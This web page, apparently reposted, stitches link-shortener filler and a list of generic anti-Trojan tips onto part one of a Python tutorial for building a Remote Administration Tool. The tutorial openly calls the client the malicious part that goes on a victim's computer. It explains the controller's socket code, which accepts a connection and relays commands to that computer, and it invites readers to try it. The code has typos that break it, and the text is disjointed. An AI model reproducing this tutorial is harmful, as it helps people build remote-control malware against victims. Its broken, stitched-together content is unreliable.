Program Your Own Little RAT Getting the Server Working

Encrypting your link and protect the link from viruses, malware, thief, etc! Made your link safe to visit. Just Wait...


🗃 How To Help Protect Against Trojans ? 🗳
━━━━━━━━━━━━━
🔗 Here are some DOs and DON'Ts to help protect against Trojan malware. First, the DOs :

🔗 Computer security begins with installing and running an internet security suite. Run periodic diagnostic scans with your software. You can set it up so the program runs scans automatically during regular intervals.

🔗 Update your operating system’s software as soon as updates are made available from the software company. Cybercriminals tend to exploit security holes in outdated software programs. In addition to operating system updates, you should also check for updates on other software that you use on your computer.



As

🔗 Protect your accounts with complex, unique passwords. Create a unique password for each account using a complex combination of letters, numbers, and symbols.



🔗 Keep your personal information safe with firewalls.



🔗 Back up your files regularly. If a Trojan infects your computer, this will help you to restore your data.

🔗 Be careful with email attachments. To help stay safe, scan an email attachment first.







🔗 A lot of things you should do come with a corresponding thing not to do — like, do be careful with email attachments and don’t click on suspicious email attachments. Here are some more don’ts.

🔗 Don’t visit unsafe websites. Some internet security software will alert you that you’re about to visit an unsafe site, such as Norton Safe Web.


🔗 Don’t open a link in an email unless you’re confident it comes from a legitimate source. In general, avoid opening unsolicited emails from senders you don’t know.

🔗 Don’t download or install programs if you don’t have complete trust in the publisher.

🔗 Don’t click on pop-up windows that promise free programs that perform useful tasks.



🔗 Don’t ever open a link in an email unless you know exactly what it is.
━━━━━━━━━━━━━
📲 want such  stuff in your group contact  @kumartechtuts  💻


-->I saw many people asking for a Tutorial about writing their own Remote Administration Tool, so I now introduce you in a basic kind of RAT.

-->This program is not for real use, but for learning how you could write this kind of tool. It will be basically coded and not very refined. I used Python 3, so you have to install it if you want to use this program unchanged. Also this RAT is for Windows and almost all features won't work under Linux.


-->Ok, the RAT works with 2 different parts. The first is for sure the malicious one, which you have to put on the victims computer and the other one will control the victims computer. From now on I will call the first part "client" and the second one "server".

-->I assume for this tutorial that you know how RATs generally work and how to program with Python. Python is a great language for beginners, so I think nobody will get problems with understanding the Code, but if you want to learn Python, just search on Google for "Python Tutorial". You will find many resources on that.



The Server Code

🆘You can find the full Source here. I will try to explain the Source.👇

---Imports---
-Socket is required for networking
-os is required for clearing the terminal (Will be seen later)

---Variables---

-port is for selecting the connection port. You can use everyone you want, but I recommend to use one, which is probably not obtrusive/blocked.

---Functions---
-We got only one Function at the moment, which is used for clearing the terminal (Just an esthetic feature ;) )

---Starting Server---
serversocket = socket.socket(socket.AFINET, socket.SOCKSTREAM)
This sets up a TCP Socket connection.

host = socket.gethostname()
serversocket.bind((host, port))
serversocket.listen(1)

These lines starts the listening of the Server. The last line specifies to allow only 1 connection, which is Ok at the beginning of our little RAT, but can be modified later.

clear()
Clears terminal.

print
Should be clear, isn't it?





clientsocket, addr = serversocket.accept()
Waiting for incoming Connection.

print("Connection from: " + str(addr))
Printing out the Connection Details.

msg = inpu()
Getting the instruction, which will be send to the Client.

if msg == "help":
clear()
print("-+-+-+-+-+HELP+-+-+-+-+-")
print("Test Connection: 'test'")

input("\nPress ENTER to continue")

Just a Help Window. You can see just one Instruction at the Moment, which we can use after setting up the Client.

else:
msg = msg.encode("UTF-8")
clientsocket.send(msg)
msg = clientsocket.recv(4096)
print(msg.decode("UTF-8"))

Every Message, which is not 'help' will be send to the Client, then the Server waits for the response and prints it out. The message is encoded with UTF-8, because bytes are required for sending over networks.

Conclusion:-😁

Now we've got a working Server for sending and receiving Instructions. You can see, that it's not pretty good coded, but for learning some basics it's good enough :) I hope you learned somet hihing about the basics of programming a RAT. Please give response whether I explain more detailed or what I should add as feature to the RAT. In the next Part we will setup the Client, the heart of our RAT, but for all who don't want to wait and want to test it out now, this will help you out ;) Just change the lHost Variable to the IP of your Servers computer and start trying.